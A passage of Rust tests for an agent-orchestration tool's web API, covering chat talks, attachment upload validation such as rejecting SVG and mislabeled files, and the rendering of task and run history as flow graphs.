13986        std::fs::create_dir_all(&repo).expect("repo dir");
13987        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13988        let f = Fixture::with_repo(repo).await;
13989        let id_a = f.post("/api/talks", None).await.json()["id"]
13990            .as_str()
13991            .unwrap()
13992            .to_owned();
13993        let id_b = f.post("/api/talks", None).await.json()["id"]
13994            .as_str()
13995            .unwrap()
13996            .to_owned();
13997
13998        let a = f
13999            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14000            .await;
14001        assert_eq!(a.status, 202, "{}", a.body);
14002        assert_eq!(a.json()["thinking"], true);
14003        let b = f
14004            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14005            .await;
14006        assert_eq!(b.status, 202, "{}", b.body);
14007        assert_eq!(b.json()["thinking"], true);
14008
14009        let listed = f.get("/api/talks").await.json();
14010        for id in [&id_a, &id_b] {
14011            let view = listed
14012                .as_array()
14013                .unwrap()
14014                .iter()
14015                .find(|talk| talk["id"] == *id)
14016                .unwrap();
14017            assert_eq!(view["thinking"], true, "{listed}");
14018        }
14019        let repeated = f
14020            .post(
14021                &format!("/api/talks/{id_a}/say"),
14022                Some(r#"{"text":"again"}"#),
14023            )
14024            .await;
14025        assert_eq!(repeated.status, 202, "{}", repeated.body);
14026        assert_eq!(repeated.json()["pending"], "again");
14027    }
14028
14029    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
14030    /// few more, since real uploads are never exactly eight bytes.
14031    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14032
14033    #[tokio::test]
14034    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14035        let f = Fixture::start().await;
14036        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14037
14038        let res = f
14039            .post_bytes(
14040                &format!("/api/talks/{id}/attachments"),
14041                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14042                PNG_BYTES,
14043            )
14044            .await;
14045        assert_eq!(res.status, 201, "{}", res.body);
14046        let body = res.json();
14047        assert_eq!(body["name"], "shot.png");
14048        assert_eq!(body["mime"], "image/png");
14049        assert_eq!(body["bytes"], PNG_BYTES.len());
14050        let att_id = body["id"].as_str().expect("id").to_owned();
14051        assert_eq!(
14052            att_id.len(),
14053            32,
14054            "the id must never be a client-suppliable path: {att_id}"
14055        );
14056
14057        let got = f
14058            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14059            .await;
14060        assert_eq!(got.status, 200, "{}", got.body);
14061        assert_eq!(got.header("content-type"), Some("image/png"));
14062        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14063        assert_eq!(got.bytes, PNG_BYTES);
14064    }
14065
14066    #[tokio::test]
14067    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14068        let f = Fixture::start().await;
14069        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14070
14071        // SVG can carry a `<script>`, so it is never on the whitelist even
14072        // though it is a real IANA image type.
14073        let svg = f
14074            .post_bytes(
14075                &format!("/api/talks/{id}/attachments"),
14076                &[("Content-Type", "image/svg+xml")],
14077                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14078            )
14079            .await;
14080        assert!(
14081            (400..500).contains(&svg.status),
14082            "svg must be refused: {} {}",
14083            svg.status,
14084            svg.body
14085        );
14086        assert!(svg.body.contains("SVG"), "{}", svg.body);
14087
14088        let text = f
14089            .post_bytes(
14090                &format!("/api/talks/{id}/attachments"),
14091                &[("Content-Type", "text/plain")],
14092                b"just some text",
14093            )
14094            .await;
14095        assert!(
14096            (400..500).contains(&text.status),
14097            "an unlisted type must be refused: {} {}",
14098            text.status,
14099            text.body
14100        );
14101
14102        // The declared type is a real png, but the size check runs before
14103        // the bytes are even looked at.
14104        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14105        let big = f
14106            .post_bytes(
14107                &format!("/api/talks/{id}/attachments"),
14108                &[("Content-Type", "image/png")],
14109                &oversized,
14110            )
14111            .await;
14112        assert_eq!(
14113            big.status,
14114            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14115            "{}",
14116            big.body
14117        );
14118    }
14119
14120    #[tokio::test]
14121    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14122        let f = Fixture::start().await;
14123        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
14124
14125        // A whitelisted `Content-Type`, but bytes that are not actually a
14126        // png - the declared header alone is never trusted.
14127        let res = f
14128            .post_bytes(
14129                &format!("/api/talks/{id}/attachments"),
14130                &[("Content-Type", "image/png")],
14131                b"<html>not a picture</html>",
14132            )
14133            .await;
14134        assert!((400..500).contains(&res.status), "{}", res.body);
14135    }
14136
14137    #[tokio::test]
14138    async fn an_unknown_attachment_id_is_a_404() {
14139        let f = Fixture::start().await;
14140        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
14141
14142        let res = f
14143            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
14144            .await;
14145        assert_eq!(res.status, 404, "{}", res.body);
14146    }
14147
14148    #[tokio::test]
14149    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
14150        let f = Fixture::start().await;
14151        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
14152
14153        let uploaded = f
14154            .post_bytes(
14155                &format!("/api/talks/{id}/attachments"),
14156                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14157                PNG_BYTES,
14158            )
14159            .await;
14160        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14161        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
14162
14163        let res = f
14164            .post(
14165                &format!("/api/talks/{id}/say"),
14166                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
14167            )
14168            .await;
14169        assert_eq!(res.status, 202, "{}", res.body);
14170        let queued = res.json();
14171        let turns = queued["turns"].as_array().expect("turns array");
14172        assert_eq!(
14173            turns.len(),
14174            1,
14175            "an empty body with an attachment is still a turn: {queued}"
14176        );
14177        assert_eq!(turns[0]["who"], "operator");
14178        assert_eq!(turns[0]["body"], "");
14179        let atts = turns[0]["attachments"]
14180            .as_array()
14181            .expect("attachments array");
14182        assert_eq!(atts.len(), 1);
14183        assert_eq!(atts[0]["id"], att_id);
14184        assert_eq!(atts[0]["mime"], "image/png");
14185
14186        // Not only in the response: `record` flushes to disk before the
14187        // agent's own turn is even spawned.
14188        let on_disk = f.talks().get(&id).expect("get");
14189        assert_eq!(on_disk.turns[0].attachments.len(), 1);
14190        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
14191    }
14192
14193    #[tokio::test]
14194    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
14195        let f = Fixture::start().await;
14196        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
14197
14198        let res = f
14199            .post(
14200                &format!("/api/talks/{id}/say"),
14201                Some(&format!(
14202                    r#"{{"text":"hi","attachments":["{}"]}}"#,
14203                    "a".repeat(32)
14204                )),
14205            )
14206            .await;
14207        assert!((400..500).contains(&res.status), "{}", res.body);
14208        assert!(res.body.contains("unknown attachment"), "{}", res.body);
14209
14210        let on_disk = f.talks().get(&id).expect("get");
14211        assert!(
14212            on_disk.turns.is_empty(),
14213            "a rejected attachment id must not partially record the turn: {:?}",
14214            on_disk.turns
14215        );
14216    }
14217
14218    #[tokio::test]
14219    async fn talk_close_makes_the_talk_refuse_further_turns() {
14220        let f = Fixture::start().await;
14221        let id = seed_talk(&f, "20260904-014455-cd34", "open");
14222
14223        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14224        assert_eq!(closed.status, 200, "{}", closed.body);
14225        assert_eq!(closed.json()["status"], "closed");
14226
14227        // Idempotent: closing an already-closed talk is not an error.
14228        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
14229        assert_eq!(closed_again.status, 200);
14230        assert_eq!(closed_again.json()["status"], "closed");
14231
14232        let said = f
14233            .post(
14234                &format!("/api/talks/{id}/say"),
14235                Some(r#"{"text":"too late"}"#),
14236            )
14237            .await;
14238        assert_eq!(said.status, 409, "{}", said.body);
14239    }
14240
14241    #[tokio::test]
14242    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
14243        let (_tmp, _repo, f) = talk_fixture().await;
14244        let id = f.post("/api/talks", None).await.json()["id"]
14245            .as_str()
14246            .expect("id")
14247            .to_owned();
14248        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14249        assert_eq!(closed.status, 200, "{}", closed.body);
14250
14251        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14252        assert_eq!(reopened.status, 200, "{}", reopened.body);
14253        assert_eq!(reopened.json()["status"], "open");
14254
14255        // Idempotent: reopening an already-open talk is not an error.
14256        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14257        assert_eq!(reopened_again.status, 200);
14258        assert_eq!(reopened_again.json()["status"], "open");
14259
14260        let said = f
14261            .post(
14262                &format!("/api/talks/{id}/say"),
14263                Some(r#"{"text":"still there?"}"#),
14264            )
14265            .await;
14266        assert_eq!(
14267            said.status, 202,
14268            "a reopened talk accepts turns again: {}",
14269            said.body
14270        );
14271    }
14272
14273    #[tokio::test]
14274    async fn talk_reopen_on_an_unknown_id_is_404() {
14275        let f = Fixture::start().await;
14276        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
14277        assert_eq!(res.status, 404, "{}", res.body);
14278    }
14279
14280    #[tokio::test]
14281    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
14282        let f = Fixture::start().await;
14283        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
14284
14285        let deleted = f.delete(&format!("/api/talks/{id}")).await;
14286        assert_eq!(deleted.status, 204, "{}", deleted.body);
14287
14288        let after = f.get(&format!("/api/talks/{id}")).await;
14289        assert_eq!(after.status, 404, "{}", after.body);
14290
14291        let listed = f.get("/api/talks").await.json();
14292        assert!(
14293            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
14294            "a deleted talk must not linger in the list: {listed}"
14295        );
14296    }
14297
14298    #[tokio::test]
14299    async fn talk_delete_on_an_unknown_id_is_404() {
14300        let f = Fixture::start().await;
14301        let res = f.delete("/api/talks/nonexistent-id").await;
14302        assert_eq!(res.status, 404, "{}", res.body);
14303    }
14304
14305    /// A task's page lists every run it ever had, in order, and says what kind
14306    /// of attempt each was - including a resume, which re-pushes the same run
14307    /// id, and a run whose record this build cannot read.
14308    #[tokio::test]
14309    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
14310        let f = Fixture::start().await;
14311        let (a, b, gone) = (
14312            "20260902-140501-aaaa",
14313            "20260902-140502-bbbb",
14314            "20260902-140503-cccc",
14315        );
14316        write_run(&f.runs(), a, RunStatus::Stalled);
14317        let mut review = RunState::new(
14318            PathBuf::from("/repo/magi"),
14319            "main".to_owned(),
14320            "0123456789abcdef".to_owned(),
14321            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
14322                .to_owned(),
14323            Config::default(),
14324        );
14325        review.id = b.to_owned();
14326        review.status = RunStatus::Merged;
14327        write_state(&f.runs(), &review);
14328
14329        let mut task = Task::new(
14330            "retry".to_owned(),
14331            "Do the thing".to_owned(),
14332            PathBuf::from("/repo/magi"),
14333            Source::Human,
14334        );
14335        task.start(a.to_owned());
14336        task.stall("quota");
14337        task.start(a.to_owned());
14338        task.start(b.to_owned());
14339        task.start(gone.to_owned());
14340        // This fixture models an older queue file with repeated run entries.
14341        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
14342        f.queue().put(&mut task).expect("file the task");
14343
14344        let res = f.get(&format!("/api/queue/{}", task.id)).await;
14345        assert_eq!(res.status, 200, "{}", res.body);
14346        let v = res.json();
14347        let h = v["history"].as_array().expect("history");
14348        assert_eq!(h.len(), 4, "{v}");
14349        assert_eq!(h[0]["kind"], "competition");
14350        assert_eq!(h[0]["status"], "stalled");
14351        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
14352        assert_eq!(h[1]["kind"], "resume", "{v}");
14353        assert!(
14354            h[0]["outcome"]
14355                .as_str()
14356                .unwrap()
14357                .contains("unknown. Pass #2"),
14358            "an earlier pass of a resumed run must not claim the final outcome: {v}"
14359        );
14360        assert!(
14361            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
14362            "{v}"
14363        );
14364        assert!(
14365            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
14366            "an unrecorded cause must not be narrated as an operator park: {v}"
14367        );
14368        assert_eq!(h[2]["kind"], "review");
14369        assert!(
14370            h[2]["description"]
14371                .as_str()
14372                .unwrap()
14373                .contains("magi/aaaa/A")
14374        );
14375        assert_eq!(h[2]["status"], "merged");
14376        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
14377        assert_eq!(v["runs_unreadable"], 1);
14378        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
14379        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
14380        assert_eq!(nodes[4]["note"], "unreadable");
14381        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
14382        assert_eq!(v["instruction"], "Do the thing");
14383        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
14384
14385        // The run's own page links back to the task.
14386        let run = f.get(&format!("/api/runs/{a}")).await.json();
14387        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
14388
14389        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
14390    }
14391
14392    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
14393        let mut s = RunState::new(
14394            PathBuf::from("/repo/magi"),
14395            "main".to_owned(),
14396            "0123456789abcdef".to_owned(),
14397            "Do it".to_owned(),
14398            Config::default(),
14399        );
14400        s.status = status;
14401        edit(&mut s);
14402        s
14403    }
14404
14405    fn flow_task(runs: &[&str]) -> Task {
14406        let mut t = Task::new(
14407            "t".to_owned(),
14408            "Do it".to_owned(),
14409            PathBuf::from("/repo/magi"),
14410            Source::Human,
14411        );
14412        for r in runs {
14413            t.start((*r).to_owned());
14414        }
14415        // Synthetic flows without RunPass records model legacy queue data.
14416        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14417        t
14418    }
14419
14420    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
14421        let h = task_history(task, |id| {
14422            states
14423                .iter()
14424                .find(|(i, _)| *i == id)
14425                .and_then(|(_, s)| s.clone())
14426        });
14427        task_flow(task, &h, 5, None)
14428    }
14429
14430    #[test]
14431    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
14432        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
14433        let created = "2026-10-10T01:00:00Z".parse().unwrap();
14434        let first = "2026-10-10T02:00:00Z".parse().unwrap();
14435        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
14436        let held = "2026-10-10T04:00:00Z".parse().unwrap();
14437        let run = flow_run(RunStatus::Implementing, |s| {
14438            s.created_at = created;
14439            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
14440            s.passes[0].started_at = first;
14441            s.passes[1].started_at = resumed;
14442        });
14443        let mut task = flow_task(&[RUN_X, RUN_X]);
14444        task.created_at = queued;
14445        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
14446        task.status = TaskStatus::Held;
14447        task.held_at = Some(held);
14448        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
14449        assert_eq!(
14450            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
14451            vec![Some(queued), Some(first), Some(resumed), Some(held)]
14452        );
14453        assert!(flow.nodes.iter().all(|n| n.time_expected));
14454        let json = serde_json::to_value(&flow).unwrap();
14455        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
14456        assert_eq!(json["nodes"][2]["time_expected"], true);
14457    }
14458
14459    #[test]
14460    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
14461        let created = "2026-10-10T01:00:00Z".parse().unwrap();
14462        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
14463        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
14464        // These timestamps are not the start of the current status.
14465        task.held_at = Some(created);
14466        task.blocked_at = Some(created);
14467        for status in [
14468            TaskStatus::Queued,
14469            TaskStatus::Running,
14470            TaskStatus::Blocked,
14471            TaskStatus::Done,
14472            TaskStatus::Failed,
14473            TaskStatus::Parked,
14474            TaskStatus::Held,
14475        ] {
14476            task.status = status;
14477            if status == TaskStatus::Held {
14478                task.held_at = None;
14479            }
14480            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
14481            assert_eq!(flow.nodes[1].started_at, Some(created));
14482            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
14483            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
14484            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
14485            let json = serde_json::to_value(&flow).unwrap();
14486            assert!(json["nodes"][3]["started_at"].is_null());
14487            assert_eq!(json["nodes"][3]["time_expected"], true);
14488        }
14489    }
14490
14491    #[test]
14492    fn flow_context_links_do_not_expect_start_times() {
14493        let mut task = flow_task(&[]);
14494        task.source = Source::Agent {
14495            run: "chat-id".to_owned(),
14496            node: "chat".to_owned(),
14497        };
14498        let origin = followup_origin(&fu(None), |_| None, |_| None);
14499        let flow = task_flow(&task, &[], 5, Some(&origin));
14500        for node in &flow.nodes[..2] {
14501            assert!(!node.time_expected);
14502            assert_eq!(node.started_at, None);
14503        }
14504        assert!(flow.nodes[2].time_expected);
14505    }
14506
14507    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
14508        crate::queue::FollowUp {
14509            run: "20260901-000000-aaaa".to_owned(),
14510            origin_task: origin_task.map(str::to_owned),
14511            pr: "https://example.com/o/r/pull/1".to_owned(),
14512            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
14513                .map(str::to_owned)
14514                .to_vec(),
14515            generation: 1,
14516        }
14517    }
14518
14519    fn parent_task() -> Task {
14520        let mut p = flow_task(&[]);
14521        p.title = "Parent title".to_owned();
14522        p.status = TaskStatus::Done;
14523        p
14524    }
14525
14526    #[test]
14527    fn flow_opens_with_the_parent_task_of_a_followup() {
14528        let p = parent_task();
14529        let pid = p.id.clone();
14530        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
14531        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14532        let n = &f.nodes[0];
14533        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
14534        assert_eq!(
14535            n.label,
14536            format!("Follow-up of {}", crate::queue::short(&pid))
14537        );
14538        assert_eq!(n.detail.as_deref(), Some("Parent title"));
14539        assert_eq!(n.status, Some("done"));
14540        assert_eq!(n.status_of, "task");
14541        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
14542        assert_eq!(f.nodes[1].key, "start");
14543        assert_eq!(f.edges[0].from, "origin");
14544        assert_eq!(
14545            f.edges[0].label,
14546            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
14547        );
14548    }
14549
14550    #[test]
14551    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
14552        let o = followup_origin(
14553            &fu(Some("gone")),
14554            |_| None,
14555            |_| {
14556                Some(RunState::new(
14557                    std::path::PathBuf::from("."),
14558                    "main".to_owned(),
14559                    "0".to_owned(),
14560                    "t".to_owned(),
14561                    crate::config::Config::default(),
14562                ))
14563            },
14564        );
14565        assert!(o.parent.is_none());
14566        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14567        let n = &f.nodes[0];
14568        assert_eq!(n.status_of, "run");
14569        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
14570        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
14571    }
14572
14573    #[test]
14574    fn flow_followup_with_nothing_readable_has_no_link() {
14575        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
14576        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14577        let n = &f.nodes[0];
14578        assert_eq!(n.href, None);
14579        assert_eq!(n.note, Some("unreadable"));
14580        assert!(!n.readable);
14581    }
14582
14583    #[test]
14584    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
14585        let o = followup_origin(&fu(None), |_| None, |_| None);
14586        let mut t = flow_task(&[]);
14587        t.origin_chat = Some("c1".to_owned());
14588        let f = task_flow(&t, &[], 5, Some(&o));
14589        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
14590        t.source = Source::Agent {
14591            run: "c1".to_owned(),
14592            node: crate::queue::CHAT_NODE.to_owned(),
14593        };
14594        let f = task_flow(&t, &[], 5, Some(&o));
14595        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
14596        assert_eq!(
14597            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
14598            ("chat", "origin")
14599        );
14600    }
14601
14602    #[test]
14603    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
14604        let mut p = parent_task();
14605        p.id = "a b/c".to_owned();
14606        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
14607        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
14608    }
14609
14610    #[test]
14611    fn flow_opens_with_the_chat_that_queued_the_task() {
14612        let mut t = flow_task(&[]);
14613        t.source = Source::Agent {
14614            run: "a b/c".to_owned(),
14615            node: crate::queue::CHAT_NODE.to_owned(),
14616        };
14617        let f = flow_for(&t, &[]);
14618        assert_eq!(f.nodes[0].key, "chat");
14619        assert_eq!(f.nodes[0].kind, "chat");
14620        assert_eq!(
14621            f.nodes[0].label,
14622            format!("Chat {}", crate::queue::short("a b/c"))
14623        );
14624        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
14625        assert_eq!(f.nodes[1].key, "start");
14626        assert_eq!(
14627            f.edges[0],
14628            FlowEdge {
14629                from: "chat".to_owned(),
14630                to: "start".to_owned(),
14631                label: "queued from chat".to_owned(),
14632                attempt: AttemptCost::None,
14633            }
14634        );
14635    }
14636
14637    #[test]
14638    fn flow_has_no_chat_box_for_other_sources() {
14639        for source in [
14640            Source::Human,
14641            Source::Issue {
14642                number: 3,
14643                repo: "o/r".to_owned(),
14644            },
14645            Source::Agent {
14646                run: "20260904-014455-ab12".to_owned(),
14647                node: "implement".to_owned(),
14648            },
14649        ] {
14650            let mut t = flow_task(&[]);
14651            t.source = source;
14652            let f = flow_for(&t, &[]);
14653            assert_eq!(f.nodes[0].key, "start");
14654            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14655            assert!(f.edges.iter().all(|e| e.from != "chat"));
14656        }
14657    }
14658
14659    const FA: &str = "20260902-140501-aaaa";
14660    const FB: &str = "20260902-140502-bbbb";
14661
14662    #[test]
14663    fn flow_follows_blocked_retry_merged_to_done() {
14664        let mut t = flow_task(&[FA, FB]);
14665        t.status = TaskStatus::Done;
14666        let f = flow_for(
14667            &t,
14668            &[
14669                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14670                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14671            ],
14672        );
14673        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14674        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14675        assert_eq!(f.edges.len(), 3);
14676        assert_eq!(f.edges[0].label, "claimed");
14677        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14678        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14679        assert_eq!(f.edges[2].label, "merged \u{2192} done");
14680        assert_eq!(
14681            f.nodes[2].href.as_deref(),
14682            Some("#/runs/20260902-140502-bbbb")
14683        );
14684        assert!(f.nodes[2].decided);
14685    }
14686
14687    #[test]
14688    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14689        let quota = || {
14690            flow_run(RunStatus::Stalled, |s| {
14691                s.quota.push(crate::run::QuotaLoss {
14692                    seat: "judge-1".to_owned(),
14693                    node: "judge".to_owned(),
14694                    at: Timestamp::now(),
14695                    reset: None,
14696                })
14697            })
14698        };
14699        let mut t = flow_task(&[FA, FA]);
14700        t.status = TaskStatus::Queued;
14701        let f = flow_for(&t, &[(FA, Some(quota()))]);
14702        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14703        assert_eq!(f.nodes[1].note, Some("interrupted"));
14704        assert_eq!(
14705            f.nodes[1].status, None,
14706            "no outcome copied onto an earlier pass"
14707        );
14708        assert_eq!(
14709            f.edges[1].attempt,
14710            AttemptCost::Unknown,
14711            "a resume does not prove the earlier pass was refunded"
14712        );
14713        assert!(f.edges[1].label.contains("resume the same run"));
14714        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14715        assert_eq!(
14716            f.edges[2].label,
14717            "stalled after a resume, refund unknown \u{2192} queued"
14718        );
14719        assert!(!f.nodes[2].decided, "a stall is not a decision");
14720        assert_eq!(f.nodes[2].note, Some("no verdict"));
14721    }
14722
14723    #[test]
14724    fn flow_single_pass_quota_stall_is_refunded() {
14725        let t = flow_task(&[FA]);
14726        let f = flow_for(
14727            &t,
14728            &[(
14729                FA,
14730                Some(flow_run(RunStatus::Stalled, |s| {
14731                    s.quota.push(crate::run::QuotaLoss {
14732                        seat: "judge-1".to_owned(),
14733                        node: "judge".to_owned(),
14734                        at: Timestamp::now(),
14735                        reset: None,
14736                    })
14737                })),
14738            )],
14739        );
14740        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14741    }
14742
14743    #[test]
14744    fn flow_parked_refunds_and_stall_without_quota_spends() {
14745        let mut t = flow_task(&[FA]);
14746        t.status = TaskStatus::Queued;
14747        let f = flow_for(
14748            &t,
14749            &[(
14750                FA,
14751                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14752            )],
14753        );
14754        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14755        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14756        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14757        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14758        assert!(!f.nodes[1].decided);
14759    }
14760
14761    #[test]
14762    fn flow_keeps_an_unreadable_run_as_its_own_node() {
14763        let t = flow_task(&[FA, FB]);
14764        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14765        assert_eq!(f.nodes[1].note, Some("unreadable"));
14766        assert!(!f.nodes[1].readable);
14767        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14768        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14769    }
14770
14771    #[test]
14772    fn flow_names_the_branch_of_a_review_only_run() {
14773        let t = flow_task(&[FA]);
14774        let f = flow_for(
14775            &t,
14776            &[(
14777                FA,
14778                Some(flow_run(RunStatus::Merged, |s| {
14779                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14780                })),
14781            )],
14782        );
14783        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14784        assert_eq!(
14785            f.nodes[1].detail.as_deref(),
14786            Some("review-only run of branch magi/x/A")
14787        );
14788    }
14789
14790    #[test]
14791    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14792        let mut t = flow_task(&[FA]);
14793        t.status = TaskStatus::Held;
14794        let pr = crate::run::PrRecord {
14795            url: "https://example.test/pr/1".to_owned(),
14796            number: 1,
14797            state: "open".to_owned(),
14798            checks: "green".to_owned(),
14799            round: 0,
14800            rounds: 3,
14801            red_at_merge: Vec::new(),
14802        };
14803        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14804        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14805        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14806        t.status = TaskStatus::Done;
14807        let f = flow_for(&t, &[(FA, Some(blocked))]);
14808        assert_eq!(f.edges[1].label, "closed by hand: task is done");
14809    }
14810
14811    #[test]
14812    fn flow_with_no_runs_goes_from_queued_to_queued() {
14813        let t = flow_task(&[]);
14814        let f = flow_for(&t, &[]);
14815        assert_eq!(f.nodes.len(), 2);
14816        assert_eq!(f.edges.len(), 1);
14817        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14818        assert_eq!(f.edges[0].attempt, AttemptCost::None);
14819    }
14820
14821    /// A run parked mid-flight keeps a non-terminal status; the page must
14822    /// still say why it stopped and that the attempt came back.
14823    #[test]
14824    fn a_parked_non_terminal_run_is_explained_as_parked() {
14825        let mut s = RunState::new(
14826            PathBuf::from("/repo/magi"),
14827            "main".to_owned(),
14828            "0123456789abcdef".to_owned(),
14829            "Do it".to_owned(),
14830            Config::default(),
14831        );
14832        s.status = RunStatus::Implementing;
14833        s.parked = true;
14834        let task = Task::new(
14835            "t".to_owned(),
14836            "Do it".to_owned(),
14837            PathBuf::from("/repo/magi"),
14838            Source::Human,
14839        );
14840        let v = task_run_view(
14841            "20260902-140501-aaaa",
14842            Some(&s),
14843            RunSlot {
14844                n: 1,
14845                resumed: false,
14846                resumed_later: None,
14847                prior: None,
14848                last: true,
14849                ..RunSlot::default()
14850            },
14851            &task,
14852        );
14853        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14854    }
14855
14856    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14857        let mut s = flow_run(RunStatus::Implementing, edit);
14858        s.parked = false;
